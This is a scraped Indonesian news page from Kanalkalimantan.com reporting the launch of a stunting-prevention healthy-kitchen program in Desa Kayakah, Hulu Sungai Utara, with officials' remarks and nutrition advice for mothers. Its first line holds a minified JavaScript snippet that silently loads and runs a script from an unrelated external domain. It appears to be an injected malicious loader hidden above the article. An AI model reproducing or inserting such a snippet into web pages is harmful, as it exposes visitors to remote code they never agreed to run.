(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

DPPKB HSU Kembali Luncurkan Dapur Sehat Atasi Stunting di Desa Kayakah


KANALKALIMANTAN.COM, AMUNTAI – Menyusul diresmikannya dapur sehat di beberapa Kampung KB (Keluarga Berkualitas), Dinas Pengendalian Penduduk dan Keluarga Berencana (DPPKB) Hulu Sungai Utara (HSU) kembali meluncurkan Dapur Sehat Atasi Stunting (Dashat) di Desa Kayakah, Kecamatan Amuntai Selatan, Selasa (20/12/2022).

Kepala DPPKB HSU melalui Kepala Bidang KB dan Advokasi, H Tabrani menyampaikan, selaku instansi terdepan dalam program penurunan stunting mengapresiasi semua pihak yang telah mendukung program Dashat ini.

“Kami DPPKB HSU mengucapkan ribuan terima kasih dan menyambut baik serta memberikan apresiasi tinggi kepada semua yang berhadir di kegiatan ini sehingga kegiatan launching Dashat berjalan baik dan lancar,” kata Tabrani.

Sementara, Camat Amuntai Selatan, Jumaidi berharap dukungan peran serta seluruh masyarakat agar dapat mendukung semua program pemerintah dalam mengatasi stunting di daerah HSU.

 

Baca juga : Angin Segar, Pelaku Industri Kopi Tanah Bumbu Berbagi Edukasi dan Kopi Gratis Akhir Pekan

“Harapan kita melalui kegiatan dapur sehat atasi stunting di daerah kita berjalan lancar, sesuai aturan yang telah ditetapkan dan mendapatkan dukungan setiap warga masyarakat,” kata Jumaidi.

Seiring dengan itu, narasumber pada kegiatan tersebut, Chairunisa dari Dinas Kesehatan HSU selaku instansi mitra dalam penanganan stunting  menyampaikan bagaimana peranan masyarakat dalam upaya pemenuhan gizi seimbang bagi  keluarga yang mempunyai resiko stunting.

Resiko itu, kata Chairunisa, terdapat pada ibu hamil, ibu menyusui, balita, serta calon pengantin dengan memanfaatkan sumberdaya lokal termasuk bahan pangan lokal yang dapat dipadukan dengan sumberdaya dari mitra lainnya.

“Khusus bagi ibu hamil dan menyusui kebutuhan gizi sangat banyak dibutuhkan, bagi ibu hamil untuk makan siang memerlukan kalori yang cukup banyak yaitu mencapai 733 sampai 780 kilo kalori karena untuk pemenuhan ibu dan janin,” imbuhnya.

Baca juga  : Jelang Nataru Posko Terpadu Angkutan Udara Diaktifkan di Bandara Syamsudin Noor

Selain penyampaian materi tentang stunting, juga di serahkan beberapa contoh menu bagi ibu hamil ,ibu menyusui, bayi usia 6 – 12 bulan dan baduta 12  – 23 bulan juga contoh menu bagi remaja/WUS.

Kegiatan dihadiri oleh Ketua TP PKK Kecamatan, para kader PKK desa, kader posyandu, koordinator dan para penyuluh KB Kecamatan Amuntai Selatan serta masyarakat lainnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : cell


Desy Arfianty

Recent Posts

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

4 jam ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

4 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

5 jam ago

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

8 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

9 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

19 jam ago

This website uses cookies.